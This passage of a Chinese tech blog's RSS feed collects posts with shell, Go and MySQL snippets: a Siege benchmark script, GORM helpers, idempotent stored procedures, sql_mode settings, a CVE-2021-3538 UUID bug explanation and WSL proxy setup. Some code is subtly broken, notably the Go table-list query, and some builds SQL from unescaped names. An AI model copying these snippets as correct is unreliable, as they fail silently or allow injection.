        ($2 ~ /^40./) {s[7]++};
        ($2 ~ /^50./) {s[8]++};
        END {printf &quot;%d,%d,%d,%d,%d,%d,%d,%d,%d&quot;,s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9]}
        &apos;)

	sum1=$(echo $sum | awk -F&apos;,&apos; &apos;{print $1}&apos;)
	sum2=$(echo $sum | awk -F&apos;,&apos; &apos;{print $2}&apos;)
	sum3=$(echo $sum | awk -F&apos;,&apos; &apos;{print $3}&apos;)
	sum4=$(echo $sum | awk -F&apos;,&apos; &apos;{print $4}&apos;)
	sum5=$(echo $sum | awk -F&apos;,&apos; &apos;{print $5}&apos;)
	sum6=$(echo $sum | awk -F&apos;,&apos; &apos;{print $6}&apos;)
	sum7=$(echo $sum | awk -F&apos;,&apos; &apos;{print $7}&apos;)
	sum8=$(echo $sum | awk -F&apos;,&apos; &apos;{print $8}&apos;)
	sum9=$(echo $sum | awk -F&apos;,&apos; &apos;{print $9}&apos;)

	rto1=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum1&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto2=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum2&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto3=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum3&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto4=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum4&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto9=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum9&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto5=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum5&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto6=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum6&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto7=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum7&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
	rto8=$(awk &apos;BEGIN {printf &quot;%2.2f%%&quot;,&quot;&apos;$sum8&apos;&quot;/&quot;&apos;$total&apos;&quot;*100}&apos;)
}

# 打印结果
main() {
	printf &quot;\n&quot;
	printf &quot;%-30s%-100s\n&quot; &quot;URL:&quot; $url
	printf &quot;%-33s%-20s\n&quot; &quot;并发量:&quot; $cur
	printf &quot;%-34s%-20s\n&quot; &quot;总访问次数:&quot; $(($cur * $rep))

	printf &quot;\n&quot;
	printf &quot;%-30s\n&quot; &quot;Response Time(s):&quot;
	printf &quot;%-30s%-20s\n&quot; &quot;0 ~ 1.0:&quot; $rto1
	printf &quot;%-30s%-20s\n&quot; &quot;1.0 ~ 1.5:&quot; $rto2
	printf &quot;%-30s%-20s\n&quot; &quot;1.5 ~ 2.0:&quot; $rto3
	printf &quot;%-30s%-20s\n&quot; &quot;2.0 ~ 3.0:&quot; $rto4
	printf &quot;%-32s%-20s\n&quot; &quot;3.0 ~ 以上:&quot; $rto9

	printf &quot;\n&quot;
	printf &quot;Response Code:\n&quot; &quot;Response Code&quot;
	printf &quot;%-30s%-20s\n&quot; &quot;20X&quot; $rto5
	printf &quot;%-30s%-20s\n&quot; &quot;30X&quot; $rto6
	printf &quot;%-30s%-20s\n&quot; &quot;40X&quot; $rto7
	printf &quot;%-30s%-20s\n&quot; &quot;50X&quot; $rto8
}

# $# 表示传入的参数个数
args=$#
if [ $args -lt 5 ]; then
	help
else
	url=${!args}
fi

# 解析 -c 和 -r 参数
while getopts &quot;c:r:&quot; opt; do
	case $opt in
	c)
		cur=$OPTARG;;
	r)
		rep=$OPTARG;;
	esac
done

output=&quot;/tmp/bench.tmp&quot;

# 寻找 Siege 安装地址，没找到就安装
cmd=$(which siege)
if [ $? -ne 0 ]; then
	echo &apos; Not found &apos;siege&apos; command,it will be installed.&apos;
	echo &apos; Waiting...&apos;

	yum -y install siege &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
	echo &apos;Running...&apos;
else
	echo &apos;Running...&apos;
fi

# 主流程
if execute; then
	do_result &amp;amp;&amp;amp; echo &apos;Completed!&apos;
	main
else
	echo &apos;Siege run-time error.&apos;
fi

exit 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用方法和说明请看注释。&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>Golang 查找整个数据库中存在的数据类型</title><link>https://www.sulinehk.com/post/golang-find-data-types-present-in-entire-database/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-find-data-types-present-in-entire-database/</guid><pubDate>Tue, 15 Jun 2021 15:52:45 GMT</pubDate><content:encoded>&lt;p&gt;因为公司架构的变更，需要根据业务来迁移数据库中的数据，而迁移接口需要根据数据库用到的数据类型来读取和写入，所以需要用 Golang 查找整个数据库中存在的数据类型。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;整体流程为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据数据库名获取其所有表；&lt;/li&gt;
&lt;li&gt;取出每个表中每个列的数据类型；&lt;/li&gt;
&lt;li&gt;将所有表的数据类型汇总起来；&lt;/li&gt;
&lt;li&gt;去除重复的数据类型。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;具体代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// GetColumnType 查找整个数据库中存在的数据类型
func GetColumnType(db *gorm.DB, schema string) []string {
	tableList := getTableList(db, schema)
	// 对每个需要处理的表
	var allColumnType []string
	for _, table := range tableList {
		// 处理表
		columnType, err := getColumnTypeByTable(db, table)
		if err != nil {
			log.Fatal(err)
		}
		allColumnType = append(allColumnType, columnType...)
	}
	return deduplication(allColumnType)
}

// getTableList 根据数据库名获取其所有表
func getTableList(db *gorm.DB, schema string) []string {
	var tableList []string
	db.Table(&quot;information_schema.TABLES&quot;).Where(&quot;table_schema = `%s`&quot;, schema).Pluck(&quot;table_name&quot;, tableList)
	return tableList
}

// getColumnTypeByTable 获取表中每列的数据类型
func getColumnTypeByTable(db *gorm.DB, table string) ([]string, error) {
	// 生成单个表读取数据的 sql
	readSQL := fmt.Sprintf(&quot;SELECT * FROM `%s`&quot;, table)
	// 读取数据
	// 不用考虑 ErrRecordNotFound 错误，因为不用结构去查询不会报这个错误
	rows, err := db.Raw(readSQL).Rows()
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	// 返回列名
	cols, err := rows.Columns()
	if err != nil {
		return nil, err
	}
	// 返回列的类型
	colTypes, err := rows.ColumnTypes()
	if err != nil {
		return nil, err
	}
	// 创建列数量的切片
	var items = make([]interface{}, len(cols))
	// 设置切片中每个元素为空接口指针
	for k := range items {
		var p interface{}
		items[k] = &amp;amp;p
	}
	var columnType []string
	for rows.Next() {
		// 对每一行扫描进 items
		err := rows.Scan(items...)
		if err != nil {
			return nil, err
		}
		// 对每一行中的每一列
		for i := range items {
			columnType = append(columnType, colTypes[i].DatabaseTypeName())
		}
	}
	return columnType, err
}

// deduplication 去除重复的类型
func deduplication(allTypes []string) []string {
	m := make(map[string]struct{}, 0)
	for _, v := range allTypes {
		m[v] = struct{}{}
	}
	var typeList []string
	for k := range m {
		typeList = append(typeList, k)
	}
	return typeList
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Database</category></item><item><title>查询 MySQL 所有数据库中的表名和字段名</title><link>https://www.sulinehk.com/post/query-table-and-field-names-in-all-mysql-databases/</link><guid isPermaLink="true">https://www.sulinehk.com/post/query-table-and-field-names-in-all-mysql-databases/</guid><pubDate>Thu, 13 May 2021 08:43:21 GMT</pubDate><content:encoded>&lt;p&gt;因为需要熟悉公司的新业务，而公司的数据库架构是根据表的字段来区分的多租户架构，会有很多业务库混在一起，导致了需要查某个字段的时候会比较麻烦。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;MySQL 的 information_schema 库中有以下字段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;table_schema：数据库名；&lt;/li&gt;
&lt;li&gt;table_name：表名；&lt;/li&gt;
&lt;li&gt;column_name：字段名；&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;查询表名&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM information_schema.TABLES WHERE table_name = &apos;table1&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;TABLES&lt;/code&gt; 必须是大写，不然会导致冲突。&lt;/p&gt;
&lt;h2&gt;查询字段名&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM information_schema.columns WHERE table_schema = &apos;schema1&apos; AND column_name LIKE &apos;%field1%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以加上 &lt;code&gt;table_name&lt;/code&gt; 的条件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM information_schema.columns WHERE table_schema = &apos;schema1&apos; AND table_name = &apos;table1&apos; AND column_name LIKE &apos;%field1%&apos;;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Database</category></item><item><title>可重复执行的 MySQL 常用存储过程</title><link>https://www.sulinehk.com/post/repeatable-mysql-common-stored-procedures/</link><guid isPermaLink="true">https://www.sulinehk.com/post/repeatable-mysql-common-stored-procedures/</guid><pubDate>Fri, 16 Apr 2021 08:23:08 GMT</pubDate><content:encoded>&lt;p&gt;因为公司内部的 SQL 提交系统规定，在一个环境内可能会多次执行同一条 SQL，所以需要保证 SQL 的可重复执行性。&lt;/p&gt;
&lt;p&gt;这样就可以把常用的一些 SQL 写成存储过程，并使其可重复执行，会比较方便。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;创建列&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE PROCEDURE `CreateColumnIfNotExists` (
	tableName VARCHAR(100), 
	columnName VARCHAR(100), 
	dbType VARCHAR(100)
)
BEGIN
	DECLARE _tableCount INT;
	DECLARE _columnCount INT;
	-- 检查该表是否已存在
	SET _tableCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.TABLES
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
	);
	-- 检查该列是否已存在
	SET _columnCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.COLUMNS
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
			AND COLUMN_NAME = columnName
	);
	-- 表存在，列不存在的时候才创建新列
	IF _tableCount = 1
	AND _columnCount = 0 THEN
		SET @_sqlText = CONCAT(&apos; ALTER TABLE `&apos;, tableName, &apos;` ADD COLUMN `&apos;, columnName, &apos;` &apos;, dbType, &apos; NULL;&apos;);
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		-- 释放资源
		DEALLOCATE PREPARE stmt1;
	END IF;
END
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建索引&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE PROCEDURE `CreateIndexIfNotExists` (
	tableName varchar(100), 
	columnName varchar(100)
)
BEGIN
	DECLARE _tableCount INT;
	DECLARE _indexCount INT;
	SET _tableCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.TABLES
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
	);
	SET _indexCount = (
		SELECT COUNT(1)
		FROM information_schema.statistics
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
			AND INDEX_NAME = concat(&apos;IX_&apos;, columnName)
	);
	IF _tableCount = 1
	AND _indexCount = 0 THEN
		SET @_sqlText = CONCAT(&apos; CREATE INDEX `IX_&apos;, columnName, &apos;` ON `&apos;, tableName, &apos;`(`&apos;, columnName, &apos;` ASC);&apos;);
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建 Unique 索引&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE PROCEDURE `CreateUniqueIndexIfNotExists` (
	IN tableName VARCHAR(200), 
	IN indexName VARCHAR(200), 
	IN columnName VARCHAR(200)
)
BEGIN
	DECLARE _tableCount INT;
	DECLARE _indexCount INT;
	SET _tableCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.TABLES
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
	);
	SET _indexCount = (
		SELECT COUNT(1)
		FROM information_schema.statistics
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
			AND INDEX_NAME = CONCAT(&apos;IX_&apos;, indexName)
	);
	IF _tableCount = 1
	AND _indexCount = 0 THEN
		SET @_sqlText = CONCAT(&apos; CREATE UNIQUE INDEX `IX_&apos;, indexName, &apos;` ON `&apos;, tableName, &apos;`(&apos;, columnName, &apos;);&apos;);
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;删除列&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE PROCEDURE `DropColumnIfExists` (
	tableName varchar(100), 
	columnName varchar(100)
)
BEGIN
	DECLARE _count INT;
	SET _count = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.COLUMNS
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
			AND COLUMN_NAME = columnName
	);
	IF _count = 1 THEN
		SET @_sqlText = CONCAT(&apos; ALTER TABLE &apos;, tableName, &apos; DROP COLUMN &apos;, columnName, &apos; ;&apos;);
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;删除索引&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;CREATE PROCEDURE `DropIndexIfExists` (
	tableName varchar(100), 
	columnName varchar(100)
)
BEGIN
	DECLARE _count INT;
	SET _count = (
		SELECT COUNT(1)
		FROM information_schema.statistics
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
			AND INDEX_NAME = concat(&apos;IX_&apos;, columnName)
	);
	IF _count = 1 THEN
		SET @_sqlText = CONCAT(&apos; DROP INDEX `IX_&apos;, columnName, &apos;` ON `&apos;, tableName, &apos;`; &apos;);
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Database</category></item><item><title>查询和设置 MySQL sql_mode</title><link>https://www.sulinehk.com/post/querying-and-setting-mysql-sql_mode/</link><guid isPermaLink="true">https://www.sulinehk.com/post/querying-and-setting-mysql-sql_mode/</guid><pubDate>Mon, 15 Mar 2021 03:32:08 GMT</pubDate><content:encoded>&lt;p&gt;因为公司规定需要使用新的内部测试系统，而测试系统的 MySQL 运行在 Docker 里面，并且生产环境的 sql_mode 不是默认值，所以写了这篇博客来记录如何查询和设置 sql_mode。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;查询 sql_mode&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SELECT @@sql_mode;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SHOW VARIABLES LIKE &apos;sql_mode&apos;;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;设置 sql_mode&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;写入 SQL 查询，数据库链接关闭后失效：&lt;code&gt;SET GLOBAL sql_mode=&apos;&apos;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;写入 MySQL 配置文件，Docker 重启后失效：&lt;code&gt;echo [mysqld] &amp;gt;&amp;gt; /etc/mysql/my.cnf; echo &quot;sql_mode=&apos;&apos;&quot; &amp;gt;&amp;gt; /etc/mysql/my.cnf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;写入 Docker 配置文件，Docker 重启后还可以生效：&lt;code&gt;echo &quot;sql_mode=&apos;&apos;&quot; &amp;gt;&amp;gt; /etc/mysql/conf.d/docker.cnf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html&quot;&gt;5.1.10 Server SQL Modes&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Database</category></item><item><title>satori/go.uuid 非随机 UUID 问题（CVE-2021-3538）的原因和修复</title><link>https://www.sulinehk.com/post/cause-and-fix-for-satori-gouuid-non-random-uuid-issue-cve-2021-3538/</link><guid isPermaLink="true">https://www.sulinehk.com/post/cause-and-fix-for-satori-gouuid-non-random-uuid-issue-cve-2021-3538/</guid><pubDate>Thu, 18 Feb 2021 05:23:08 GMT</pubDate><content:encoded>&lt;p&gt;因为在公司业务中遇到了这个问题，所以写了这篇博客来记录出现问题的原因和修复方法。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;satori/go.uuid 这个包在这个 &lt;a href=&quot;https://github.com/satori/go.uuid/commit/0ef6afb2f6cdd6cdaeee3885a95099c63f18fc8c&quot;&gt;commit&lt;/a&gt; 中改成了标准库比较原生的读取方法 &lt;code&gt;Read()&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// NewV4 returns random generated UUID.
func (g *rfc4122Generator) NewV4() (UUID, error) {
	u := UUID{}
	if _, err := g.rand.Read(u[:]); err != nil {
		return Nil, err
	}
	u.SetVersion(V4)
	u.SetVariant(VariantRFC4122)

	return u, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而根据&lt;a href=&quot;https://pkg.go.dev/io#Reader&quot;&gt;标准库文档&lt;/a&gt;的说明，&lt;code&gt;Read()&lt;/code&gt; 不保证一定会读完，而且没读完也不会返回错误。&lt;/p&gt;
&lt;p&gt;这样就导致了 &lt;code&gt;NewV4()&lt;/code&gt; 不会返回没读完的错误，而是继续运行下去，使得 UUID 的某些部分是非随机的。如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;02524e6f-65a7-4cf5-8000-0000000000002
6e3ef1c8-0000-4000-8000-0000000000001
fa07f1e9-a8a0-427f-8103-e34e000000000
2cfa392b-71d5-4000-8000-000000000000
5f16db16-56ce-4000-8000-000000000000
bac73b37-aab3-498b-8000-000000000000
da5bd82d-4f98-4b51-8000-000000000000
eb245e52-535f-4274-8350-3a7200000000
f7510000-0000-4000-8000-000000000000
5936f955-286e-47ac-8000-000000000000
0a14da92-0000-4000-8000-000000000000
80730000-0000-4000-8000-000000000000
cd2b88a5-0000-4000-8000-000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;修复&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 satori/go.uuid 的版本：在这个 &lt;a href=&quot;https://github.com/satori/go.uuid/commit/d91630c8510268e75203009fe7daf2b8e1d60c45&quot;&gt;修复 commit&lt;/a&gt; 中改为了 &lt;code&gt;io.ReadFull&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;切换成其它维护良好的 UUID 包：&lt;a href=&quot;https://github.com/google/uuid/&quot;&gt;google/uuid&lt;/a&gt; 或 &lt;a href=&quot;https://github.com/gofrs/uuid&quot;&gt;gofrs/uuid&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/satori/go.uuid/issues/73&quot;&gt;NewV4: non-random uuid&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-3538&quot;&gt;CVE-2021-3538 Detail&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>GORM First() 和 MySQL 5.6 共同使用造成的慢查询问题</title><link>https://www.sulinehk.com/post/the-slow-query-problem-caused-by-the-combined-use-of-gorm-first-and-mysql56/</link><guid isPermaLink="true">https://www.sulinehk.com/post/the-slow-query-problem-caused-by-the-combined-use-of-gorm-first-and-mysql56/</guid><pubDate>Sun, 17 Jan 2021 01:52:32 GMT</pubDate><content:encoded>&lt;p&gt;因为在公司业务中遇到了这个问题，所以写了这篇博客来记录出现问题的原因和修复方法。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;MySQL 5.6 在使用有 &lt;code&gt;ORDER BY&lt;/code&gt; 和 &lt;code&gt;LIMIT&lt;/code&gt; 语句的查询时，如果数据不够 &lt;code&gt;LIMIT&lt;/code&gt;，就会直接全索引扫描。&lt;/p&gt;
&lt;p&gt;而 GORM 的 &lt;code&gt;First()&lt;/code&gt; 方法也会嵌入这两种语句，如：&lt;code&gt;SELECT * FROM users ORDER BY id LIMIT 1;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这样就造成了比较难排查的慢查询问题。&lt;/p&gt;
&lt;h2&gt;修复&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;因为问题只出现在 MySQL 5.6，所以可以升级或降级；&lt;/li&gt;
&lt;li&gt;对于业务上有用到 &lt;code&gt;ORDER BY&lt;/code&gt; 和 &lt;code&gt;LIMIT&lt;/code&gt; 语句的逻辑，考虑不用或放到内存中排序；&lt;/li&gt;
&lt;li&gt;对于业务上需要任意取一行的逻辑，不要使用 GORM 的 &lt;code&gt;First()&lt;/code&gt; 方法，而是手动实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.mysql.com/bug.php?id=78993&quot;&gt;MySQL Bugs: #78993: Optimizer use index scan instead of range scan by mistake&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gorm.io/zh_CN/docs/query.html&quot;&gt;查询&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Database</category></item><item><title>一个简单的 GORM 通用事务接口</title><link>https://www.sulinehk.com/post/a-simple-gorm-general-transaction-interface/</link><guid isPermaLink="true">https://www.sulinehk.com/post/a-simple-gorm-general-transaction-interface/</guid><pubDate>Sat, 12 Dec 2020 04:55:45 GMT</pubDate><content:encoded>&lt;p&gt;本文介绍了一个简单的 GORM 通用事务接口。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import (
	&quot;database/sql&quot;
	&quot;log&quot;

	&quot;gorm.io/gorm&quot;
)

// Transaction 指定事务必须的三种方法
type Transaction interface {
	Begin(*gorm.DB) (*gorm.DB, error)
	Rollback(*gorm.DB) error
	Commit(*gorm.DB) error
}

type handler func(db *gorm.DB) error

// Do 在事务中执行函数
func Do(db *gorm.DB, transaction Transaction, call handler) error {
	t, err := transaction.Begin(db)
	if err != nil {
		return err
	}
	// panic 时回滚，并打印日志
	defer func() {
		if err := transaction.Rollback(t); err != nil &amp;amp;&amp;amp; err != sql.ErrTxDone {
			log.Fatalf(&quot;Rollback err: %v&quot;, err)
		}
	}()
	if err := call(t); err != nil {
		return err
	}
	// 没有错误才 commit
	if err := transaction.Commit(t); err != nil {
		return err
	}
	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;详细说明请看代码注释。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>一个简单的 Golang 分页查询通用接口</title><link>https://www.sulinehk.com/post/a-simple-general-interface-for-paging-query-in-golang/</link><guid isPermaLink="true">https://www.sulinehk.com/post/a-simple-general-interface-for-paging-query-in-golang/</guid><pubDate>Wed, 18 Nov 2020 15:22:11 GMT</pubDate><content:encoded>&lt;p&gt;本文介绍了一个简单的 Golang 分页查询通用接口。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// PageIterator 分页查询接口
type PageIterator interface {
	// Has 查询是否还有下一页
	Has() bool
	// Next 获取下一页
	Next() (int, int)
}

// pageIterator 实现 PageIterator 接口
type pageIterator struct {
	total int
	max   int
	cur   int
}

// Has 查询是否还有下一页
func (p *pageIterator) Has() bool {
	return p.cur*p.max &amp;lt; p.total
}

// Next 获取下一页
func (p *pageIterator) Next() (int, int) {
	offset := p.cur * p.max
	limit := min((p.cur+1)*p.max, p.total)
	p.cur++
	return offset, limit
}

func min(x, y int) int {
	if x &amp;lt; y {
		return x
	}
	return y
}

// NewPageIterator 新建分页查询迭代器
func NewPageIterator(total, max int) PageIterator {
	return &amp;amp;pageIterator{total: total, max: max, cur: 0}
}

const pageSize = 500

// Do 将数据分成每份不超过 pageSize，分别进行处理，直到没有数据
func Do(total int, call func(offset, limit int) error) error {
	iterator := NewPageIterator(total, pageSize)
	for iterator.Has() {
		if err := call(iterator.Next()); err != nil {
			return err
		}
	}
	return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;详细说明请看代码注释。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>WSL 开发环境代理设置</title><link>https://www.sulinehk.com/post/wsl-development-environment-proxy-settings/</link><guid isPermaLink="true">https://www.sulinehk.com/post/wsl-development-environment-proxy-settings/</guid><pubDate>Tue, 13 Oct 2020 11:25:12 GMT</pubDate><content:encoded>&lt;p&gt;因为最近把开发环境换成了 Windows 和 WSL 的组合，而 WSL 下面的代理设置太繁琐，所以写了这篇博客来记录。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;步骤&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在代理软件上开启允许局域网链接；&lt;/li&gt;
&lt;li&gt;找到 Windows 主机的 IP；&lt;/li&gt;
&lt;li&gt;设置代理为 Windows 主机的 IP。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;前两步都是通用的，只有第三步需要根据不同的程序来设置。&lt;/p&gt;
&lt;h2&gt;命令行程序&lt;/h2&gt;
&lt;p&gt;命令行程序通常会遵循 Linux 的规范，使用类似于 &lt;code&gt;http_proxy&lt;/code&gt; 的环境变量。如：cURL、Wget。所以只需要 &lt;code&gt;export&lt;/code&gt; 一些常用的环境变量。&lt;/p&gt;
&lt;h2&gt;Git&lt;/h2&gt;
&lt;p&gt;Git 分成 HTTP 和 SSH 的连接方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过 &lt;code&gt;git config&lt;/code&gt; 设置 HTTP 代理；&lt;/li&gt;
&lt;li&gt;通过修改 &lt;code&gt;~/.ssh/config&lt;/code&gt; 文件来设置 SSH 代理。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;专用软件&lt;/h2&gt;
&lt;p&gt;专用软件一般可以用自身的命令行来设置代理。如：npm、Yarn。&lt;/p&gt;
&lt;h2&gt;APT&lt;/h2&gt;
&lt;p&gt;APT 使用代理需要修改 &lt;code&gt;/etc/apt/apt.conf.d/proxy.conf&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;具体代码&lt;/h2&gt;
&lt;p&gt;以下为模块化后的全部代码，有详细的注释。&lt;/p&gt;
&lt;p&gt;可以提取为命令使用，也可以放入 &lt;code&gt;shell&lt;/code&gt; 配置文件（如：&lt;code&gt;.bashrc、.zshrc&lt;/code&gt;）中使用。&lt;/p&gt;
&lt;p&gt;运行 &lt;code&gt;set_proxy&lt;/code&gt; 即可一键开启全部代理。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 设置代理
set_proxy() {
	get_windows_ip
	set_proxy_environment_variable
	set_git_proxy
	set_npm_proxy
	set_yarn_proxy
	set_apt_proxy
}

# 取消代理设置
unset_proxy() {
	unset_proxy_environment_variable
	unset_git_proxy
	unset_npm_proxy
	unset_yarn_proxy
	unset_apt_proxy
}

# 获取 Windows IP
get_windows_ip() {
	export windows_ip=$(ip route | grep default | awk &apos;{print $3}&apos;)
}

# 设置常见的环境变量
set_proxy_environment_variable() {
	export host=&quot;8081&quot;
	export sock_proxy=&quot;socks5://${windows_ip}:${host}&quot;
	export http_proxy=&quot;http://${windows_ip}:${host}&quot;
	export ssh_proxy=&quot;${windows_ip}:${host}&quot;

	# 系统环境变量
	export ALL_PROXY=&quot;${sock_proxy}&quot;
	export all_proxy=&quot;${sock_proxy}&quot;
	export http_proxy=&quot;${http_proxy}&quot;
	export HTTP_PROXY=&quot;${http_proxy}&quot;
	export https_proxy=&quot;${http_proxy}&quot;
	export HTTPS_PROXY=&quot;${http_proxy}&quot;
	export ftp_proxy=&quot;${http_proxy}&quot;
	export FTP_PROXY=&quot;${http_proxy}&quot;
	export rsync_proxy=&quot;${http_proxy}&quot;
	export RSYNC_PROXY=&quot;${http_proxy}&quot;
}

# 取消环境变量设置
unset_proxy_environment_variable() {
	unset ALL_PROXY
    unset all_proxy
	unset http_proxy
    unset HTTP_PROXY
    unset https_proxy
    unset HTTPS_PROXY
    unset ftp_proxy
    unset FTP_PROXY
    unset rsync_proxy
    unset RSYNC_PROXY
}

# 设置 Git 代理，包括 HTTP 和 SSH 方式
set_git_proxy() {
	# 通过命令行设置 HTTP 代理
    git config --global http.https://github.com.proxy ${PROXY_HTTP}
